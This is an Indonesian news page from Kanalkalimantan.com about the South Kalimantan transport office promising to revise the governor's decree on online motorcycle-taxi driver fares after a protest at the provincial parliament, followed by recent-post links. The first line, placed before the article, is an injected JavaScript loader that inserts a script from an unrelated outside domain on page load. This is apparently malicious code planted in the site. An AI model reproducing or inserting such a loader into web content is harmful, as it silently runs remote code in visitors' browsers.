(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Tuntutan Driver Ojol Dipenuhi, Dishub Kalsel Janji Merevisi SK Gubernur


KANALKALIMANTAN.COM, BANJARMASIN – Dinas Perhubungan Provinsi Kalimantan Selatan (Kalsel) menyatakan akan mengabulkan tuntutan driver ojek online (ojol) terkait revisi SK Gubernur Kalsel.
Kabar itu disampaikan Kepala Dinas Perhubungan (Dishub) Provinsi Kalimantan Selatan melalui Kepala Bidang Angkutan Jalan, Muhriadi, Selasa (15/8/2023) siang, di kantor DPRD Kalsel.
“Mungkin kita tidak mengambil keputusan hari ini, tapi hasil diskusi hari ini sudah disampaikan ke Kadishub, akan direvisi kita usahakan secepatnya karena ada proses-proses yang kita lalui,” ucap Kabid Angkutan Jalan Dishub Kalsel di hadapan awak media.

Baca juga: Gubernur Sahbirin Bicara Capaian Pembangunan di Hari Jadi Ke-73 Provinsi Kalsel


Sebelumnya bersama dengan Sekretaris Komisi III DPRD Kalsel H Gusti Abidinsyah, ratusan massa dipertemukan berdiskusi di dalam gedung wakil rakyat.
“Tadi kami sudah menyarankan dan kami sudah koordinasi dengan Kadishub Kalsel, Insya Allah beliau akan merevisi SK dan kami juga berharap agar pihak drivel ojol bisa lebih aktif menyampaikan usulan,” jelas Sekretaris Komisi III DPRD Kalsel H Gusti Abidinsyah.
Menurut mantan birokrat Pemkab Banjar ini, dalam merumuskan SK tersebut seharusnya pemerintah daerah dapat mempertimbangkan perlindungan.
Salah satunya dengan memuatkan detail tarif yang diterima para driver ojol, seperti asuransi maupun jaminan lainnya.

Baca juga: Semarak Perayaan Hari Kemerdekaan Warga Kecamatan Banjang

“Saya tadi menyampaikan yang diatur di sini adalah sebenarnya bukan persoalan tarif bawah atas saja, tapi juga pikirkan keselamatan penumpang seperti apa, jaminan hingga kenyamanan penumpang seperti apa, ini yang kami coba tadi jembatani,” kata Abidinsyah.
Dia pun mengaku telah mendapatkan informasi dari Kadishub Kalsel melalui telepon seluler yang mengatakan setuju akan segera melakukan revisi SK tersebut.
“Saya tidak menerima kabar tanggal pastinya, namun Kadishub mengatakan secepatnya dan mudah-mudahan sudah bisa keluar SK revisi tersebut per tanggal 1 September nanti,” sebut dia.
Dia pun meminta kepada para driver ojol untuk segera menyempurnakan apa saja yang perlu direvisi dan disampaikan pada pertemuan yang akan datang dengan Dinas Perhubungan Kalsel.
“Kita meminta mereka bersabar dan tunggu kapan ada pertemuannya, mengenai teknisnya dari Dishub Kalsel,” tandasnya.

Baca juga: Warga Padati Stan Kuliner Gratis Hari Jadi Ke-73 Kalsel

Sekadar diketahui dalam SK Gubernur Kalsel Nomor 188.44/0184/KUM/2023 yang terbit per tanggal 2 Maret 2023 itu tidak menyebutkan secara pasti mengenai hasil bersih pendapatan dari driver Ojol.
Dalam SK tersebut pendapatan driver Ojol ditetapkan sebesar Rp16.000 per tiga kilometer.
Kemudian tarif batas atas dan tarif batas bawah angkutan sewa khusus di Provinsi Kalsel ditetapkan sebsar Rp 3.900 dan Rp 6.500 per kilometer.
Masalah ini membuat adanya celah hukum bagi aplikator driver online, dimana angka pendapatan itu belum termasuk potongan 20 persen dari aplikator.

Baca juga: Mako Induk Rampung, Gedung Auditorium Polda Kalsel Menyusul Dibangun

Driver Ojol pun mengaku sudah sekitar 6-7 bulan lalu telah bernegosiasi untuk meminta pendapatan bersih, termasuk biaya asuransi untuk satu driver dan enam orang penumpangnya.
Namun, hingga aksi unjuk rasa dilakukan, SK tersebut tidak memuat secara detail pendapatan yang diterima oleh driver ojol di Kalsel. (Kanalkalimantan.com/wanda)

Reporter : wanda
Editor : bie


Muhammad Andi

Recent Posts

Dispersip Kalsel-LPKA Martapura Kerja Sama Layanan Perpustakaan Keling dan Penyediaan Bahan Baca

KANALKALIMANTAN.COM, BANJARMASIN – Dinas Perpustakaan dan Kearsipan (Dispersip) Provinsi Kalimantan Selatan (Kalsel) bersama Lembaga Pemasyarakatan… Read More

13 jam ago

Muhidin Gubernur Kalsel Definitif, 7 Februari 2025 Kembali Dilantik

KANALKALIMANTAN.COM, JAKARTA - Setelah hampir sebulan mejabat Plt (Pelaksana tugas) Gubernur Kalimantan Selatan (Kalsel), H… Read More

16 jam ago

Atasi Persimpangan Tak Beraturan, APILL LIK Liang Anggang Siap Beroperasi

KANALKALIMANTAN.COM, BANJARBARU - Dinas Perhubungan (Dishub) Provinsi Kalimantan Selatan (Kalsel) memasang titik Alat Pemberi Isyarat… Read More

19 jam ago

BPBD Balangan Tetapkan Status Siaga Bencana Batingsor Hingga April 2025

KANALKALIMANTAN.COM, PARINGIN - Antisipasi dan kesiapsiagaan menghadapi bencana banjir, puting beliung dan tanah longsor (Batingsor),… Read More

21 jam ago

Jelang Nataru PLN Pastikan Kesiapan Infrastruktur dan Layanan Kelistrikan Andal

KANALKALIMANTAN.COM, JAKARTA - Menjelang perayaan hari besar Natal 2024 dan pergantian tahun ke 2025, PT… Read More

21 jam ago

Banjarmasin Dilanda Banjir Rob, Jalan Kampus ULM Tergenang

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob melanda sejumlah wilayah di Kota Banjarmasin, Provinsi Kalimantan Selatan (Kalsel).… Read More

22 jam ago

This website uses cookies.